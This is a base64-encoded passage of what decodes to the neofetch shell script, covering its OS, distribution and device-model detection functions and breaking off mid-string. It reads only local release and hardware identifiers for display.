FibGVzIGltYWdlIGJhY2tlbmQgKEFTQ0lJL0ltYWdlKS4KIyBVc2VmdWwgZm9yIHBpcGluZyBpbnRvIGFub3RoZXIgY29tbWFuZC4KIyBEZWZhdWx0OiAnb2ZmJwojIFZhbHVlczogJ29uJywgJ29mZicKc3Rkb3V0PSJvZmYiCkVPRgoKIyBERVRFQ1QgSU5GT1JNQVRJT04KCmdldF9vcygpIHsKICAgICMgJGtlcm5lbF9uYW1lIGlzIHNldCBpbiBhIGZ1bmN0aW9uIGNhbGxlZCBjYWNoZV91bmFtZSBhbmQgaXMKICAgICMganVzdCB0aGUgb3V0cHV0IG9mICJ1bmFtZSAtcyIuCiAgICBjYXNlICRrZXJuZWxfbmFtZSBpbgogICAgICAgIERhcndpbikgICBvcz0kZGFyd2luX25hbWUgOzsKICAgICAgICBTdW5PUykgICAgb3M9U29sYXJpcyA7OwogICAgICAgIEhhaWt1KSAgICBvcz1IYWlrdSA7OwogICAgICAgIE1JTklYKSAgICBvcz1NSU5JWCA7OwogICAgICAgIEFJWCkgICAgICBvcz1BSVggOzsKICAgICAgICBJUklYKikgICAgb3M9SVJJWCA7OwogICAgICAgIEZyZWVNaU5UKSBvcz1GcmVlTWlOVCA7OwoKICAgICAgICBMaW51eHxHTlUqKQogICAgICAgICAgICBvcz1MaW51eAogICAgICAgIDs7CgogICAgICAgICpCU0R8RHJhZ29uRmx5fEJpdHJpZykKICAgICAgICAgICAgb3M9QlNECiAgICAgICAgOzsKCiAgICAgICAgQ1lHV0lOKnxNU1lTKnxNSU5HVyopCiAgICAgICAgICAgIG9zPVdpbmRvd3MKICAgICAgICA7OwoKICAgICAgICAqKQogICAgICAgICAgICBwcmludGYgJyVzXG4nICJVbmtub3duIE9TIGRldGVjdGVkOiAnJGtlcm5lbF9uYW1lJywgYWJvcnRpbmcuLi4iID4mMgogICAgICAgICAgICBwcmludGYgJyVzXG4nICJPcGVuIGFuIGlzc3VlIG9uIEdpdEh1YiB0byBhZGQgc3VwcG9ydCBmb3IgeW91ciBPUy4iID4mMgogICAgICAgICAgICBleGl0IDEKICAgICAgICA7OwogICAgZXNhYwp9CgpnZXRfZGlzdHJvKCkgewogICAgW1sgJGRpc3RybyBdXSAmJiByZXR1cm4KCiAgICBjYXNlICRvcyBpbgogICAgICAgIExpbnV4fEJTRHxNSU5JWCkKICAgICAgICAgICAgaWYgW1sgLWYgL2JlZHJvY2svZXRjL2JlZHJvY2stcmVsZWFzZSAmJiAteiAkQkVEUk9DS19SRVNUUklDVCBdXTsgdGhlbgogICAgICAgICAgICAgICAgY2FzZSAkZGlzdHJvX3Nob3J0aGFuZCBpbgogICAgICAgICAgICAgICAgICAgIG9ufHRpbnkpIGRpc3Rybz0iQmVkcm9jayBMaW51eCIgOzsKICAgICAgICAgICAgICAgICAgICAqKSBkaXN0cm89JCg8IC9iZWRyb2NrL2V0Yy9iZWRyb2NrLXJlbGVhc2UpCiAgICAgICAgICAgICAgICBlc2FjCgogICAgICAgICAgICBlbGlmIFtbIC1mIC9ldGMvcmVkc3Rhci1yZWxlYXNlIF1dOyB0aGVuCiAgICAgICAgICAgICAgICBjYXNlICRkaXN0cm9fc2hvcnRoYW5kIGluCiAgICAgICAgICAgICAgICAgICAgb258dGlueSkgZGlzdHJvPSJSZWQgU3RhciBPUyIgOzsKICAgICAgICAgICAgICAgICAgICAqKSBkaXN0cm89IlJlZCBTdGFyIE9TICQoYXdrIC1GJ1teMC05Kl0nICckMD0kMicgL2V0Yy9yZWRzdGFyLXJlbGVhc2UpIgogICAgICAgICAgICAgICAgZXNhYwoKICAgICAgICAgICAgZWxpZiBbWyAtZiAvZXRjL2FybWJpYW4tcmVsZWFzZSBdXTsgdGhlbgogICAgICAgICAgICAgICAgLiAvZXRjL2FybWJpYW4tcmVsZWFzZQogICAgICAgICAgICAgICAgZGlzdHJvPSJBcm1iaWFuICRESVNUUklCVVRJT05fQ09ERU5BTUUgKCR7VkVSU0lPTjotfSkiCgogICAgICAgICAgICBlbGlmIFtbIC1mIC9ldGMvc2lkdWN0aW9uLXZlcnNpb24gXV07IHRoZW4KICAgICAgICAgICAgICAgIGNhc2UgJGRpc3Ryb19zaG9ydGhhbmQgaW4KICAgICAgICAgICAgICAgICAgICBvbnx0aW55KSBkaXN0cm89U2lkdWN0aW9uIDs7CiAgICAgICAgICAgICAgICAgICAgKikgZGlzdHJvPSJTaWR1Y3Rpb24gKCQobHNiX3JlbGVhc2UgLXNpYykpIgogICAgICAgICAgICAgICAgZXNhYwoKICAgICAgICAgICAgZWxpZiBbWyAtZiAvZXRjL21jc3RfdmVyc2lvbiBdXTsgdGhlbgogICAgICAgICAgICAgICAgY2FzZSAkZGlzdHJvX3Nob3J0aGFuZCBpbgogICAgICAgICAgICAgICAgICAgIG9ufHRpbnkpIGRpc3Rybz0iT1MgRWxicnVzIiA7OwogICAgICAgICAgICAgICAgICAgICopIGRpc3Rybz0iT1MgRWxicnVzICQoPCAvZXRjL21jc3RfdmVyc2lvbikiCiAgICAgICAgICAgICAgICBlc2FjCgogICAgICAgICAgICBlbGlmIHR5cGUgLXAgcHZldmVyc2lvbiA+L2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBjYXNlICRkaXN0cm9fc2hvcnRoYW5kIGluCiAgICAgICAgICAgICAgICAgICAgb258dGlueSkgZGlzdHJvPSJQcm94bW94IFZFIiA7OwogICAgICAgICAgICAgICAgICAgICopCiAgICAgICAgICAgICAgICAgICAgICAgIGRpc3Rybz0kKHB2ZXZlcnNpb24pCiAgICAgICAgICAgICAgICAgICAgICAgIGRpc3Rybz0ke2Rpc3RybyNwdmUtbWFuYWdlci99CiAgICAgICAgICAgICAgICAgICAgICAgIGRpc3Rybz0iUHJveG1veCBWRSAke2Rpc3RybyUvKn0iCiAgICAgICAgICAgICAgICBlc2FjCgogICAgICAgICAgICBlbGlmIHR5cGUgLXAgbHNiX3JlbGVhc2UgPi9kZXYvbnVsbDsgdGhlbgogICAgICAgICAgICAgICAgY2FzZSAkZGlzdHJvX3Nob3J0aGFuZCBpbgogICAgICAgICAgICAgICAgICAgIG9uKSAgIGxzYl9mbGFncz0tc2kgOzsKICAgICAgICAgICAgICAgICAgICB0aW55KSBsc2JfZmxhZ3M9LXNpIDs7CiAgICAgICAgICAgICAgICAgICAgKikgICAgbHNiX2ZsYWdzPS1zZCA7OwogICAgICAgICAgICAgICAgZXNhYwogICAgICAgICAgICAgICAgZGlzdHJvPSQobHNiX3JlbGVhc2UgIiRsc2JfZmxhZ3MiKQoKICAgICAgICAgICAgZWxpZiBbWyAtZiAvZXRjL29zLXJlbGVhc2UgfHwgXAogICAgICAgICAgICAgICAgICAgIC1mIC91c3IvbGliL29zLXJlbGVhc2UgfHwgXAogICAgICAgICAgICAgICAgICAgIC1mIC9ldGMvb3BlbndydF9yZWxlYXNlIHx8IFwKICAgICAgICAgICAgICAgICAgICAtZiAvZXRjL2xzYi1yZWxlYXNlIF1dOyB0aGVuCgogICAgICAgICAgICAgICAgIyBTb3VyY2UgdGhlIG9zLXJlbGVhc2UgZmlsZQogICAgICAgICAgICAgICAgZm9yIGZpbGUgaW4gL2V0Yy9sc2ItcmVsZWFzZSAvdXNyL2xpYi9vcy1yZWxlYXNlIFwKICAgICAgICAgICAgICAgICAgICAgICAgICAgIC9ldGMvb3MtcmVsZWFzZSAgL2V0Yy9vcGVud3J0X3JlbGVhc2U7IGRvCiAgICAgICAgICAgICAgICAgICAgc291cmNlICIkZmlsZSIgJiYgYnJlYWsKICAgICAgICAgICAgICAgIGRvbmUKCiAgICAgICAgICAgICAgICAjIEZvcm1hdCB0aGUgZGlzdHJvIG5hbWUuCiAgICAgICAgICAgICAgICBjYXNlICRkaXN0cm9fc2hvcnRoYW5kIGluCiAgICAgICAgICAgICAgICAgICAgb24pICAgZGlzdHJvPSIke05BTUU6LSR7RElTVFJJQl9JRH19ICR7VkVSU0lPTl9JRDotJHtESVNUUklCX1JFTEVBU0V9fSIgOzsKICAgICAgICAgICAgICAgICAgICB0aW55KSBkaXN0cm89IiR7TkFNRTotJHtESVNUUklCX0lEOi0ke1RBSUxTX1BST0RVQ1RfTkFNRX19fSIgOzsKICAgICAgICAgICAgICAgICAgICBvZmYpICBkaXN0cm89IiR7UFJFVFRZX05BTUU6LSR7RElTVFJJQl9ERVNDUklQVElPTn19ICR7VUJVTlRVX0NPREVOQU1FfSIgOzsKICAgICAgICAgICAgICAgIGVzYWMKCiAgICAgICAgICAgIGVsaWYgW1sgLWYgL2V0Yy9Hb2JvTGludXhWZXJzaW9uIF1dOyB0aGVuCiAgICAgICAgICAgICAgICBjYXNlICRkaXN0cm9fc2hvcnRoYW5kIGluCiAgICAgICAgICAgICAgICAgICAgb258dGlueSkgZGlzdHJvPUdvYm9MaW51eCA7OwogICAgICAgICAgICAgICAgICAgICopIGRpc3Rybz0iR29ib0xpbnV4ICQoPCAvZXRjL0dvYm9MaW51eFZlcnNpb24pIgogICAgICAgICAgICAgICAgZXNhYwoKICAgICAgICAgICAgZWxpZiBbWyAtZiAvZXRjL1NERS1WRVJTSU9OIF1dOyB0aGVuCiAgICAgICAgICAgICAgICBkaXN0cm89IiQoPCAvZXRjL1NERS1WRVJTSU9OKSIKICAgICAgICAgICAgICAgIGNhc2UgJGRpc3Ryb19zaG9ydGhhbmQgaW4KICAgICAgICAgICAgICAgICAgICBvbnx0aW55KSBkaXN0cm89IiR7ZGlzdHJvJSAqfSIgOzsKICAgICAgICAgICAgICAgIGVzYWMKCiAgICAgICAgICAgIGVsaWYgdHlwZSAtcCBjcnV4ID4vZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgIGRpc3Rybz0kKGNydXgpCiAgICAgICAgICAgICAgICBjYXNlICRkaXN0cm9fc2hvcnRoYW5kIGluCiAgICAgICAgICAgICAgICAgICAgb24pICAgZGlzdHJvPSR7ZGlzdHJvLy92ZXJzaW9ufSA7OwogICAgICAgICAgICAgICAgICAgIHRpbnkpIGRpc3Rybz0ke2Rpc3Ryby8vdmVyc2lvbip9CiAgICAgICAgICAgICAgICBlc2FjCgogICAgICAgICAgICBlbGlmIHR5cGUgLXAgdGF6cGtnID4vZGV2L251bGw7IHRoZW4KICAgICAgICAgICAgICAgIGRpc3Rybz0iU2xpVGF6ICQoPCAvZXRjL3NsaXRhei1yZWxlYXNlKSIKCiAgICAgICAgICAgIGVsaWYgdHlwZSAtcCBrcHQgPi9kZXYvbnVsbCAmJiBcCiAgICAgICAgICAgICAgICAgdHlwZSAtcCBrcG0gPi9kZXYvbnVsbDsgdGhlbgogICAgICAgICAgICAgICAgZGlzdHJvPUtTTGludXgKCiAgICAgICAgICAgIGVsaWYgW1sgLWQgL3N5c3RlbS9hcHAvICYmIC1kIC9zeXN0ZW0vcHJpdi1hcHAgXV07IHRoZW4KICAgICAgICAgICAgICAgIGRpc3Rybz0iQW5kcm9pZCAkKGdldHByb3Agcm8uYnVpbGQudmVyc2lvbi5yZWxlYXNlKSIKCiAgICAgICAgICAgICMgQ2hyb21lIE9TIGRvZXNuJ3QgY29uZm9ybSB0byB0aGUgL2V0Yy8qLXJlbGVhc2Ugc3RhbmRhcmQuCiAgICAgICAgICAgICMgV2hpbGUgdGhlIGZpbGUgaXMgYSBzZXJpZXMgb2YgdmFyaWFibGVzIHRoZXkgY2FuJ3QgYmUgc291cmNlZAogICAgICAgICAgICAjIGJ5IHRoZSBzaGVsbCBzaW5jZSB0aGUgdmFsdWVzIGFyZW4ndCBxdW90ZWQuCiAgICAgICAgICAgIGVsaWYgW1sgLWYgL2V0Yy9sc2ItcmVsZWFzZSAmJiAkKDwgL2V0Yy9sc2ItcmVsZWFzZSkgPT0gKkNIUk9NRU9TKiBdXTsgdGhlbgogICAgICAgICAgICAgICAgZGlzdHJvPSdDaHJvbWUgT1MnCgogICAgICAgICAgICBlbGlmIHR5cGUgLXAgZ3VpeCA+L2Rldi9udWxsOyB0aGVuCiAgICAgICAgICAgICAgICBjYXNlICRkaXN0cm9fc2hvcnRoYW5kIGluCiAgICAgICAgICAgICAgICAgICAgb258dGlueSkgZGlzdHJvPSJHdWl4IFN5c3RlbSIgOzsKICAgICAgICAgICAgICAgICAgICAqKSBkaXN0cm89Ikd1aXggU3lzdGVtICQoZ3VpeCAtViB8IGF3ayAnTlI9PTF7cHJpbnRmICQ0fScpIgogICAgICAgICAgICAgICAgZXNhYwoKICAgICAgICAgICAgIyBEaXNwbGF5IHdoZXRoZXIgdXNpbmcgJy1jdXJyZW50JyBvciAnLXJlbGVhc2UnIG9uIE9wZW5CU0QuCiAgICAgICAgICAgIGVsaWYgW1sgJGtlcm5lbF9uYW1lID0gT3BlbkJTRCBdXSA7IHRoZW4KICAgICAgICAgICAgICAgIHJlYWQgLXJhIGtlcm5lbF9pbmZvIDw8PCAiJChzeXNjdGwgLW4ga2Vybi52ZXJzaW9uKSIKICAgICAgICAgICAgICAgIGRpc3Rybz0ke2tlcm5lbF9pbmZvWypdOjA6Mn0KCiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgIGZvciByZWxlYXNlX2ZpbGUgaW4gL2V0Yy8qLXJlbGVhc2U7IGRvCiAgICAgICAgICAgICAgICAgICAgZGlzdHJvKz0kKDwgIiRyZWxlYXNlX2ZpbGUiKQogICAgICAgICAgICAgICAgZG9uZQoKICAgICAgICAgICAgICAgIGlmIFtbIC16ICRkaXN0cm8gXV07IHRoZW4KICAgICAgICAgICAgICAgICAgICBjYXNlICRkaXN0cm9fc2hvcnRoYW5kIGluCiAgICAgICAgICAgICAgICAgICAgICAgIG9ufHRpbnkpIGRpc3Rybz0ka2VybmVsX25hbWUgOzsKICAgICAgICAgICAgICAgICAgICAgICAgKikgZGlzdHJvPSIka2VybmVsX25hbWUgJGtlcm5lbF92ZXJzaW9uIiA7OwogICAgICAgICAgICAgICAgICAgIGVzYWMKCiAgICAgICAgICAgICAgICAgICAgZGlzdHJvPSR7ZGlzdHJvL0RyYWdvbkZseS9EcmFnb25GbHlCU0R9CgogICAgICAgICAgICAgICAgICAgICMgV29ya2Fyb3VuZHMgZm9yIHNvbWUgQlNEIGJhc2VkIGRpc3Ryb3MuCiAgICAgICAgICAgICAgICAgICAgW1sgLWYgL2V0Yy9wY2JzZC1sYW5nIF1dICAgICAgICYmIGRpc3Rybz1QQ0JTRAogICAgICAgICAgICAgICAgICAgIFtbIC1mIC9ldGMvdHJ1ZW9zLWxhbmcgXV0gICAgICAmJiBkaXN0cm89VHJ1ZU9TCiAgICAgICAgICAgICAgICAgICAgW1sgLWYgL2V0Yy9wYWNic2QtcmVsZWFzZSBdXSAgICYmIGRpc3Rybz1QYWNCU0QKICAgICAgICAgICAgICAgICAgICBbWyAtZiAvZXRjL2hic2QtdXBkYXRlLmNvbmYgXV0gJiYgZGlzdHJvPUhhcmRlbmVkQlNECiAgICAgICAgICAgICAgICBmaQogICAgICAgICAgICBmaQoKICAgICAgICAgICAgaWYgW1sgJCg8IC9wcm9jL3ZlcnNpb24pID09ICpNaWNyb3NvZnQqIHx8ICRrZXJuZWxfdmVyc2lvbiA9PSAqTWljcm9zb2Z0KiBdXTsgdGhlbgogICAgICAgICAgICAgICAgd2luZG93c192ZXJzaW9uPSQod21pYy5leGUgb3MgZ2V0IFZlcnNpb24pCiAgICAgICAgICAgICAgICB3aW5kb3dzX3ZlcnNpb249JCh0cmltICIke3dpbmRvd3NfdmVyc2lvbi9WZXJzaW9ufSIpCgogICAgICAgICAgICAgICAgY2FzZSAkZGlzdHJvX3Nob3J0aGFuZCBpbgogICAgICAgICAgICAgICAgICAgIG9uKSAgIGRpc3Rybys9IiBbV2luZG93cyAkd2luZG93c192ZXJzaW9uXSIgOzsKICAgICAgICAgICAgICAgICAgICB0aW55KSBkaXN0cm89IldpbmRvd3MgJHt3aW5kb3dzX3ZlcnNpb246OjJ9IiA7OwogICAgICAgICAgICAgICAgICAgICopICAgIGRpc3Rybys9IiBvbiBXaW5kb3dzICR3aW5kb3dzX3ZlcnNpb24iIDs7CiAgICAgICAgICAgICAgICBlc2FjCgogICAgICAgICAgICBlbGlmIFtbICQoPCAvcHJvYy92ZXJzaW9uKSA9PSAqY2hyb21lLWJvdCogfHwgLWYgL2Rldi9jcm9zX2VjIF1dOyB0aGVuCiAgICAgICAgICAgICAgICBbWyAkZGlzdHJvICE9ICpDaHJvbWUqIF1dICYmCiAgICAgICAgICAgICAgICAgICAgY2FzZSAkZGlzdHJvX3Nob3J0aGFuZCBpbgogICAgICAgICAgICAgICAgICAgICAgICBvbikgICBkaXN0cm8rPSIgW0Nocm9tZSBPU10iIDs7CiAgICAgICAgICAgICAgICAgICAgICAgIHRpbnkpIGRpc3Rybz0iQ2hyb21lIE9TIiA7OwogICAgICAgICAgICAgICAgICAgICAgICAqKSAgICBkaXN0cm8rPSIgb24gQ2hyb21lIE9TIiA7OwogICAgICAgICAgICAgICAgICAgIGVzYWMKICAgICAgICAgICAgICAgICAgICBkaXN0cm89JHtkaXN0cm8jIyBvbiB9CiAgICAgICAgICAgIGZpCgogICAgICAgICAgICBkaXN0cm89JCh0cmltX3F1b3RlcyAiJGRpc3RybyIpCiAgICAgICAgICAgIGRpc3Rybz0ke2Rpc3Ryby9OQU1FPX0KCiAgICAgICAgICAgICMgR2V0IFVidW50dSBmbGF2b3IuCiAgICAgICAgICAgIGlmIFtbICRkaXN0cm8gPT0gIlVidW50dSIqIF1dOyB0aGVuCiAgICAgICAgICAgICAgICBjYXNlICRYREdfQ09ORklHX0RJUlMgaW4KICAgICAgICAgICAgICAgICAgICAqInN0dWRpbyIqKSAgIGRpc3Rybz0ke2Rpc3Ryby9VYnVudHUvVWJ1bnR1IFN0dWRpb30gOzsKICAgICAgICAgICAgICAgICAgICAqInBsYXNtYSIqKSAgIGRpc3Rybz0ke2Rpc3Ryby9VYnVudHUvS3VidW50dX0gOzsKICAgICAgICAgICAgICAgICAgICAqIm1hdGUiKikgICAgIGRpc3Rybz0ke2Rpc3Ryby9VYnVudHUvVWJ1bnR1IE1BVEV9IDs7CiAgICAgICAgICAgICAgICAgICAgKiJ4dWJ1bnR1IiopICBkaXN0cm89JHtkaXN0cm8vVWJ1bnR1L1h1YnVudHV9IDs7CiAgICAgICAgICAgICAgICAgICAgKiJMdWJ1bnR1IiopICBkaXN0cm89JHtkaXN0cm8vVWJ1bnR1L0x1YnVudHV9IDs7CiAgICAgICAgICAgICAgICAgICAgKiJidWRnaWUiKikgICBkaXN0cm89JHtkaXN0cm8vVWJ1bnR1L1VidW50dSBCdWRnaWV9IDs7CiAgICAgICAgICAgICAgICAgICAgKiJjaW5uYW1vbiIqKSBkaXN0cm89JHtkaXN0cm8vVWJ1bnR1L1VidW50dSBDaW5uYW1vbn0gOzsKICAgICAgICAgICAgICAgIGVzYWMKICAgICAgICAgICAgZmkKICAgICAgICA7OwoKICAgICAgICAiTWFjIE9TIFgifCJtYWNPUyIpCiAgICAgICAgICAgIGNhc2UgJG9zeF92ZXJzaW9uIGluCiAgICAgICAgICAgICAgICAxMC40KikgIGNvZGVuYW1lPSJNYWMgT1MgWCBUaWdlciIgOzsKICAgICAgICAgICAgICAgIDEwLjUqKSAgY29kZW5hbWU9Ik1hYyBPUyBYIExlb3BhcmQiIDs7CiAgICAgICAgICAgICAgICAxMC42KikgIGNvZGVuYW1lPSJNYWMgT1MgWCBTbm93IExlb3BhcmQiIDs7CiAgICAgICAgICAgICAgICAxMC43KikgIGNvZGVuYW1lPSJNYWMgT1MgWCBMaW9uIiA7OwogICAgICAgICAgICAgICAgMTAuOCopICBjb2RlbmFtZT0iT1MgWCBNb3VudGFpbiBMaW9uIiA7OwogICAgICAgICAgICAgICAgMTAuOSopICBjb2RlbmFtZT0iT1MgWCBNYXZlcmlja3MiIDs7CiAgICAgICAgICAgICAgICAxMC4xMCopIGNvZGVuYW1lPSJPUyBYIFlvc2VtaXRlIiA7OwogICAgICAgICAgICAgICAgMTAuMTEqKSBjb2RlbmFtZT0iT1MgWCBFbCBDYXBpdGFuIiA7OwogICAgICAgICAgICAgICAgMTAuMTIqKSBjb2RlbmFtZT0ibWFjT1MgU2llcnJhIiA7OwogICAgICAgICAgICAgICAgMTAuMTMqKSBjb2RlbmFtZT0ibWFjT1MgSGlnaCBTaWVycmEiIDs7CiAgICAgICAgICAgICAgICAxMC4xNCopIGNvZGVuYW1lPSJtYWNPUyBNb2phdmUiIDs7CiAgICAgICAgICAgICAgICAxMC4xNSopIGNvZGVuYW1lPSJtYWNPUyBDYXRhbGluYSIgOzsKICAgICAgICAgICAgICAgIDEwLjE2KikgY29kZW5hbWU9Im1hY09TIEJpZyBTdXIiIDs7CiAgICAgICAgICAgICAgICAxMS4qKSAgY29kZW5hbWU9Im1hY09TIEJpZyBTdXIiIDs7CiAgICAgICAgICAgICAgICAxMi4qKSAgY29kZW5hbWU9Im1hY09TIE1vbnRlcmV5IiA7OwogICAgICAgICAgICAgICAgKikgICAgICBjb2RlbmFtZT1tYWNPUyA7OwogICAgICAgICAgICBlc2FjCgogICAgICAgICAgICBkaXN0cm89IiRjb2RlbmFtZSAkb3N4X3ZlcnNpb24gJG9zeF9idWlsZCIKCiAgICAgICAgICAgIGNhc2UgJGRpc3Ryb19zaG9ydGhhbmQgaW4KICAgICAgICAgICAgICAgIG9uKSBkaXN0cm89JHtkaXN0cm8vICR7b3N4X2J1aWxkfX0gOzsKCiAgICAgICAgICAgICAgICB0aW55KQogICAgICAgICAgICAgICAgICAgIGNhc2UgJG9zeF92ZXJzaW9uIGluCiAgICAgICAgICAgICAgICAgICAgICAgIDEwLls0LTddKikgICAgICAgICAgICBkaXN0cm89JHtkaXN0cm8vJHtjb2RlbmFtZX0vTWFjIE9TIFh9IDs7CiAgICAgICAgICAgICAgICAgICAgICAgIDEwLls4LTldKnwxMC4xWzAtMV0qKSBkaXN0cm89JHtkaXN0cm8vJHtjb2RlbmFtZX0vT1MgWH0gOzsKICAgICAgICAgICAgICAgICAgICAgICAgMTAuMVsyLTZdKnwxMS4wKikgICAgIGRpc3Rybz0ke2Rpc3Ryby8ke2NvZGVuYW1lfS9tYWNPU30gOzsKICAgICAgICAgICAgICAgICAgICBlc2FjCiAgICAgICAgICAgICAgICAgICAgZGlzdHJvPSR7ZGlzdHJvLyAke29zeF9idWlsZH19CiAgICAgICAgICAgICAgICA7OwogICAgICAgICAgICBlc2FjCiAgICAgICAgOzsKCiAgICAgICAgImlQaG9uZSBPUyIpCiAgICAgICAgICAgIGRpc3Rybz0iaU9TICRvc3hfdmVyc2lvbiIKCiAgICAgICAgICAgICMgInVuYW1lIC1tIiBkb2Vzbid0IHByaW50IGFyY2hpdGVjdHVyZSBvbiBpT1MuCiAgICAgICAgICAgIG9zX2FyY2g9b2ZmCiAgICAgICAgOzsKCiAgICAgICAgV2luZG93cykKICAgICAgICAgICAgZGlzdHJvPSQod21pYyBvcyBnZXQgQ2FwdGlvbikKICAgICAgICAgICAgZGlzdHJvPSR7ZGlzdHJvL0NhcHRpb259CiAgICAgICAgICAgIGRpc3Rybz0ke2Rpc3Ryby9NaWNyb3NvZnQgfQogICAgICAgIDs7CgogICAgICAgIFNvbGFyaXMpCiAgICAgICAgICAgIGNhc2UgJGRpc3Ryb19zaG9ydGhhbmQgaW4KICAgICAgICAgICAgICAgIG9ufHRpbnkpIGRpc3Rybz0kKGF3ayAnTlI9PTEge3ByaW50ICQxLCQzfScgL2V0Yy9yZWxlYXNlKSA7OwogICAgICAgICAgICAgICAgKikgICAgICAgZGlzdHJvPSQoYXdrICdOUj09MSB7cHJpbnQgJDEsJDIsJDN9JyAvZXRjL3JlbGVhc2UpIDs7CiAgICAgICAgICAgIGVzYWMKICAgICAgICAgICAgZGlzdHJvPSR7ZGlzdHJvL1woKn0KICAgICAgICA7OwoKICAgICAgICBIYWlrdSkKICAgICAgICAgICAgZGlzdHJvPUhhaWt1CiAgICAgICAgOzsKCiAgICAgICAgQUlYKQogICAgICAgICAgICBkaXN0cm89IkFJWCAkKG9zbGV2ZWwpIgogICAgICAgIDs7CgogICAgICAgIElSSVgpCiAgICAgICAgICAgIGRpc3Rybz0iSVJJWCAke2tlcm5lbF92ZXJzaW9ufSIKICAgICAgICA7OwoKICAgICAgICBGcmVlTWlOVCkKICAgICAgICAgICAgZGlzdHJvPUZyZWVNaU5UCiAgICAgICAgOzsKICAgIGVzYWMKCiAgICBkaXN0cm89JHtkaXN0cm8vL0VudGVycHJpc2UgU2VydmVyfQoKICAgIFtbICRkaXN0cm8gXV0gfHwgZGlzdHJvPSIkb3MgKFVua25vd24pIgoKICAgICMgR2V0IE9TIGFyY2hpdGVjdHVyZS4KICAgIGNhc2UgJG9zIGluCiAgICAgICAgU29sYXJpc3xBSVh8SGFpa3V8SVJJWHxGcmVlTWlOVCkKICAgICAgICAgICAgbWFjaGluZV9hcmNoPSQodW5hbWUgLXApCiAgICAgICAgOzsKCiAgICAgICAgKikgIG1hY2hpbmVfYXJjaD0ka2VybmVsX21hY2hpbmUgOzsKICAgIGVzYWMKCiAgICBbWyAkb3NfYXJjaCA9PSBvbiBdXSAmJiBcCiAgICAgICAgZGlzdHJvKz0iICRtYWNoaW5lX2FyY2giCgogICAgW1sgJHthc2NpaV9kaXN0cm86LWF1dG99ID09IGF1dG8gXV0gJiYgXAogICAgICAgIGFzY2lpX2Rpc3Rybz0kKHRyaW0gIiRkaXN0cm8iKQp9CgpnZXRfbW9kZWwoKSB7CiAgICBjYXNlICRvcyBpbgogICAgICAgIExpbnV4KQogICAgICAgICAgICBpZiBbWyAtZCAvc3lzdGVtL2FwcC8gJiYgLWQgL3N5c3RlbS9wcml2LWFwcCBdXTsgdGhlbgogICAgICAgICAgICAgICAgbW9kZWw9IiQoZ2V0cHJvcCByby5wcm9kdWN0LmJyYW5kKSAkKGdldHByb3Agcm8ucHJvZHVjdC5tb2RlbCkiCgogICAgICAgICAgICBlbGlmIFtbIC1mIC9zeXMvZGV2aWNlcy92aXJ0dWFsL2RtaS9pZC9ib2FyZF92ZW5kb3IgfHwKICAgICAgICAgICAgICAgICAgICAtZiAvc3lzL2RldmljZXMvdmlydHVhbC9kbWkvaWQvYm9hcmRfbmFtZSBdXTsgdGhlbgogICAgICAgICAgICAgICAgbW9kZWw9JCg8IC9zeXMvZGV2aWNlcy92aXJ0dWFsL2RtaS9pZC9ib2FyZF92ZW5kb3IpCiAgICAgICAgICAgICAgICBtb2RlbCs9IiAkKDwgL3N5cy9kZXZpY2VzL3ZpcnR1YWwvZG1pL2lkL2JvYXJkX25hbWUpIgoKICAgICAgICAgICAgZWxpZiBbWyAtZiAvc3lzL2RldmljZXMvdmlydHVhbC9kbWkvaWQvcHJvZHVjdF9uYW1lIHx8CiAgICAgICAgICAgICAgICAgICAgLWYgL3N5cy9kZXZpY2VzL3ZpcnR1YWwvZG1pL2lkL3Byb2R1Y3RfdmVyc2lvbiBdXTsgdGhlbgogICAgICAgICAgICAgICAgbW9kZWw9JCg8IC9zeXMvZGV2aWNlcy92aXJ0dWFsL2RtaS9pZC9wcm9kdWN0X25hbWUpCiAgICAgICAgICAgICAgICBtb2RlbCs9IiAkKDwgL3N5cy9kZXZpY2VzL3ZpcnR1YWwvZG1pL2lkL3Byb2R1Y3RfdmVyc2lvbikiCgogICAgICAgICAgICBlbGlmIFtbIC1mIC9zeXMvZmlybXdhcmUvZGV2aWNldHJlZS9iYXNlL21vZGVsIF1dOyB0aGVuCiAgICAgICAgICAgICAgICBtb2RlbD0kKDwgL3N5cy9maXJtd2FyZS9kZXZpY2V0cmVlL2Jhc2UvbW9kZWwpCgogICAgICAgICAgICBlbGlmIFtbIC1mIC90bXAvc3lzaW5mby9tb2RlbCBdXTsgdGhlbgogICAgICAgICAgICAgICAgbW9kZWw9JCg8IC90bXAvc3lzaW5mby9tb2RlbCkKICAgICAgICAgICAgZmkKICAgICAgICA7OwoKICAgICAgICAiTWFjIE9TIFgifCJtYWNPUyIpCiAgICAgICAgICAgIGlmIFtbICQoa2V4dHN0YXQgfCBncmVwIC1GIC1lICJGYWtlU01DIiAtZSAiVmlydHVhbFNNQyIpICE9ICIiIF1dOyB0aGVuCiAgICAgICAgICAgICAgICBtb2RlbD0iSGFja2ludG9zaCAoU01CSU9TOiAkKHN5c2N0bCAtbiBody5tb2RlbCkpIgogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICBtb2RlbD0kKHN5c2N0bCAtbiBody5tb2RlbCkKICAgICAgICAgICAgZmkKICAgICAgICA7OwoKICAgICAgICAiaVBob25lIE9TIikKICAgICAgICAgICAgY2FzZSAka2VybmVsX21hY2hpbmUgaW4KICAgICAgICAgICAgICAgIGlQYWQxLDEpOiAgICAgICAgICAgICJpUGFkIiA7OwogICAgICAgICAgICAgICAgaVBhZDIsWzEtNF0pOiAgICAgICAgImlQYWQgMiIgOzsKICAgICAgICAgICAgICAgIGlQYWQzLFsxLTNdKTogICAgICAgICJpUGFkIDMiIDs7CiAgICAgICAgICAgICAgICBpUGFkMyxbNC02XSk6ICAgICAgICAiaVBhZCA0IiA7OwogICAgICAgICAgICAgICAgaVBhZDYsMVsxMl0pOiAgICAgICAgImlQYWQgNSIgOzsKICAgICAgICAgICAgICAgIGlQYWQ3LFs1LTZdKTogICAgICAgICJpUGFkIDYiIDs7CiAgICAgICAgICAgICAgICBpUGFkNywxWzEyXSk6ICAgICAgICAiaVBhZCA3IiA7OwogICAgICAgICAgICAgICAgaVBhZDExLFs2N10pOiAgICAgICAgImlQYWQgOCIgOzsKICAgICAgICAgICAgICAgIGlQYWQ0LFsxLTNdKTogICAgICAgICJpUGFkIEFpciIgOzsKICAgICAgICAgICAgICAgIGlQYWQ1LFszLTRdKTogICAgICAgICJpUGFk